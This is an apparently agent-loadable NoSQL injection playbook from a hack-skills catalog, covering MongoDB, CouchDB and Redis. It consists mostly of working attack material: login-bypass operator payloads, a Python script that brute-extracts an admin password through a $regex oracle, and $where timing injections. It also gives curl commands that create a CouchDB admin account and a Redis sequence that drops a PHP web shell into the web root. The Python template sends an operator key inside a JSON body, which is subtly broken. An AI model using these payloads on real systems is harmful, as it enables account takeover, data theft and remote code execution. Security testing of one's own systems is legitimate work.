nosql-injection
yaklang/hack-skills
MongoDB and NoSQL operator injection attack playbook for authentication bypass, blind data extraction, and query logic abuse.
What is nosql-injection?
NoSQL injection exploits query operators (like $ne, $gt, $regex) to manipulate database logic rather than breaking string literals. Use this skill when testing APIs or backends that accept JSON queries, flexible search filters, or MongoDB-style operators without proper validation.
- Identify NoSQL injection vectors in login forms, search filters, and API endpoints
- Perform authentication bypass using operators like $ne and $gt
- Extract data character-by-character using $regex blind enumeration
- Detect and exploit aggregation pipeline injection in MongoDB queries
- Test for CouchDB and Redis exposure and unauthenticated access
- Automate blind data extraction with timing and boolean oracles
How to install nosql-injection
npx skills add https://github.com/yaklang/hack-skills --skill nosql-injectionHow to use nosql-injection
- 1.Identify the backend database type (MongoDB, CouchDB, Redis) from error messages or port scanning
- 2.Test login and search endpoints with basic operator payloads like {"$ne": "invalid"} in JSON bodies
- 3.Try URL-encoded parameter injection (password[$ne]=invalid) on form-based endpoints
- 4.Use $regex payloads to perform blind character-by-character extraction if boolean responses differ
- 5.Automate extraction with the provided Python template using binary search on character sets
- 6.Check for exposed database ports (5984 for CouchDB, 6379 for Redis) and test unauthenticated access
- 7.Monitor for operator-related error messages ("BSON", "operator not allowed") to confirm vulnerability
Use cases
- Bypass login endpoints accepting JSON bodies with MongoDB operators
- Extract admin passwords from NoSQL databases via $regex character oracle
- Enumerate field values in blind NoSQL injection scenarios
- Discover exposed CouchDB or Redis instances on non-standard ports
- Test parameter pollution attacks on frameworks that parse arrays (Express.js, PHP)
- Security testers and penetration testers targeting NoSQL backends
- Bug bounty hunters testing modern APIs and JSON-based applications
- Developers validating input sanitization in MongoDB applications
- Red teamers simulating attacks on NoSQL-backed systems
nosql-injection FAQ
SQL injection breaks out of string literals using quotes; NoSQL injection injects query operators (like {$ne, $gt, $regex}) that change query logic. NoSQL targets object/operator structure rather than SQL syntax.
Yes, using $regex as a boolean oracle. Send payloads like {"password": {"$regex": "^a.*"}} and compare responses. Automate with binary search to extract one character per request.
$where evaluates JavaScript expressions in MongoDB context. It allows logic abuse and timing-based blind extraction via sleep(), but is limited to document fields—not OS command execution.
Try URL-encoded parameter injection (password[$ne]=invalid) or change Content-Type to application/json and send operator objects. Some frameworks parse both formats.
Scan ports 5984 (CouchDB) and 6379 (Redis). Test unauthenticated access with curl to /_all_dbs (CouchDB) or AUTH commands (Redis). Exposed instances allow database enumeration and manipulation.
Full instructions (SKILL.md)
Source of truth, from yaklang/hack-skills.
name: nosql-injection description: >- NoSQL injection playbook. Use when MongoDB-style operators, JSON query objects, flexible search filters, or backend query DSLs may allow data or logic abuse.
SKILL: NoSQL Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.
1. CORE CONCEPT — OPERATOR INJECTION
SQL Injection breaks out of string literals.
NoSQL Injection injects query operators that change query logic.
MongoDB example — normal query:
db.users.find({username: "alice", password: "secret"})
Injection via JSON operator:
{
"username": "admin",
"password": {"$gt": ""}
}
→ Becomes: find({username:"admin", password:{$gt:""}}) → password > "" → always true!
2. MONGODB — LOGIN BYPASS
JSON Body Injection (API with JSON Content-Type)
POST /api/login
Content-Type: application/json
{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}
PHP $_POST Array Injection (URL-encoded form)
username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*
Ruby / Python params Array Injection
Same as PHP — use bracket notation to inject objects:
?username[%24ne]=invalid&password[%24ne]=invalid
%24 = URL-encoded $
3. MONGODB OPERATORS FOR INJECTION
| Operator | Meaning | Use Case |
|---|---|---|
$ne | not equal | {"password": {"$ne": "x"}} → always matches |
$gt | greater than | {"password": {"$gt": ""}} → all non-empty passwords match |
$gte | greater or equal | Similar to $gt |
$lt | less than | {"password": {"$lt": "~"}} → all ASCII match |
$regex | regex match | {"username": {"$regex": "adm.*"}} |
$where | JS expression | MOST DANGEROUS — code execution |
$exists | field exists | {"admin": {"$exists": true}} |
$in | in array | {"username": {"$in": ["admin","user"]}} |
4. BLIND DATA EXTRACTION VIA $REGEX
Like binary search in SQLi, use $regex to extract field values character by character:
// Does admin's password start with 'a'?
{"username": "admin", "password": {"$regex": "^a"}}
// Does admin's password start with 'b'?
{"username": "admin", "password": {"$regex": "^b"}}
// Continue: narrow down each position
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}
Response difference: successful login vs failed login = boolean oracle.
Automate with NoSQLMap or custom script with binary search on character set.
5. MONGODB $WHERE INJECTION (JS EXECUTION)
$where evaluates JavaScript in MongoDB context.
Can only use current document's fields — not system access. But allows logic abuse:
{"$where": "this.username == 'admin' && this.password.length > 0"}
// Blind extraction via timing:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}
// Regex via JS:
{"$where": "this.username.match(/^adm/) && true"}
Limit: $where doesn't give OS command execution — server-side JS injection (not to be confused with command injection).
6. AGGREGATION PIPELINE INJECTION
When user-controlled data enters $match or $group stages:
// Vulnerable code:
db.collection.aggregate([
{$match: {category: userInput}}, // userInput = {"$ne": null}
...
])
Inject operators to bypass:
// Input as object:
{"$ne": null} → matches all categories
{"$regex": ".*"} → matches all
7. HTTP PARAMETER POLLUTION FOR NOSQL
Some frameworks (Express.js, PHP) parse repeating parameters as arrays:
?filter=value1&filter=value2 → filter = ["value1", "value2"]
Use qs library parse behavior in Node.js:
?filter[$ne]=invalid
→ parsed as: filter = {$ne: "invalid"}
→ NoSQL operator injection
8. COUCHDB ATTACKS
HTTP Admin API (if exposed)
# List databases:
curl http://target.com:5984/_all_dbs
# Read all documents in a DB:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true
# Create admin account (if anonymous access allowed):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'
9. REDIS INJECTION
Redis exposed (6379) with no auth — command injection via input used in Redis queries:
# Via SSRF or direct injection:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE
Auth bypass (older Redis with requirepass using simple password):
AUTH password
AUTH 123456
AUTH redis
AUTH admin
10. DETECTION PAYLOADS
Send these to any input processed by NoSQL backend:
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=
JSON variant test (change Content-Type to application/json if endpoint is form-based):
{"username": "admin", "password": {"$ne": ""}}
11. NOSQL VS SQL — KEY DIFFERENCES
| Aspect | SQLi | NoSQLi |
|---|---|---|
| Language | SQL syntax | Query operator objects |
| Injection vector | String concatenation | Object/operator injection |
| Common signal | Quote breaks response | {$ne:x} changes response |
| Extraction method | UNION / error-based | $regex character oracle |
| Auth bypass | ' OR 1=1-- | {"password":{"$ne":""}} |
| OS command | xp_cmdshell (MSSQL) | Rare (need $where + CVE) |
| Fingerprint | DB-specific error messages | "cannot use $" errors |
12. TESTING CHECKLIST
□ Test login fields with: {"$ne": "invalid"} JSON body
□ Test URL-encoded forms: password[$ne]=invalid
□ Test $regex for blind enumeration of field values
□ Try $where with sleep() for time-based blind
□ Check 5984 port for CouchDB (unauthenticated admin)
□ Check 6379 port for Redis (unauthenticated)
□ Try Content-Type: application/json on form endpoints
□ Monitor for operator-related error messages ("BSON" "operator" "$not allowed")
13. BLIND NoSQL EXTRACTION AUTOMATION
$regex Character-by-Character Extraction (Python Template)
import requests
import string
url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""
while True:
found = False
for c in charset:
payload = {
"username": "admin",
"password[$regex]": f"^{password}{c}.*"
}
r = requests.post(url, json=payload)
if "success" in r.text or r.status_code == 302:
password += c
found = True
print(f"Found: {password}")
break
if not found:
break
print(f"Final password: {password}")
$regex via URL-encoded GET Parameters
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
# Iterate through charset until login succeeds
Duplicate Key Bypass
// When app checks one key but processes another:
{"id": "10", "id": "100"}
// JSON parsers typically use last occurrence
// Bypass: WAF validates id=10, app processes id=100
14. AGGREGATION PIPELINE INJECTION
When user input reaches MongoDB aggregation pipeline stages:
// If user controls $match stage:
db.collection.aggregate([
{ $match: { user: INPUT } } // INPUT from user
])
// Injection: provide object instead of string
// INPUT = {"$gt": ""} → matches all documents
// $lookup for cross-collection data access:
// If $lookup stage is injectable:
{ $lookup: {
from: "admin_users", // attacker-chosen collection
localField: "user_id",
foreignField: "_id",
as: "leaked"
}}
// $out to write results to new collection:
{ $out: "public_collection" } // Write query results to accessible collection
$where JavaScript Execution
// $where allows arbitrary JavaScript (DANGEROUS):
db.users.find({ $where: "this.username == 'admin'" })
// If input reaches $where:
// Injection: ' || 1==1 || '
// Or: '; return true; var x='
// Time-based: '; sleep(5000); var x='
// Data exfil: '; if(this.password[0]=='a'){sleep(5000)}; var x='
Reference: Soroush Dalili — "MongoDB NoSQL Injection with Aggregation Pipelines" (2024)
Note: $where runs JavaScript on the server. Besides logic abuse and timing oracles, older MongoDB builds without a tight V8 sandbox historically raised RCE concerns; prefer treating any $where sink as high risk.
Related skills
More from yaklang/hack-skills and the wider catalog.

ntlm-relay-coercion
NTLM relay and authentication coercion playbook for privilege escalation via SMB, LDAP, HTTP, and MSSQL.

oauth-oidc-misconfiguration
OAuth and OIDC misconfiguration testing playbook for redirect URIs, state/nonce validation, PKCE, and token binding flaws.

open-redirect
Exploit open redirects via parameter injection, filter bypass, and chaining with phishing, OAuth token theft, and SSRF.

path-traversal-lfi
Expert path traversal and LFI attack playbook with encoding bypass, log poisoning, and PHP wrapper exploitation.

prototype-pollution
Test JavaScript prototype pollution in client and server contexts via __proto__ and constructor.prototype paths.

prototype-pollution-advanced
Escalate confirmed prototype pollution to RCE via template engines, child_process gadgets, and client-side script exploitation.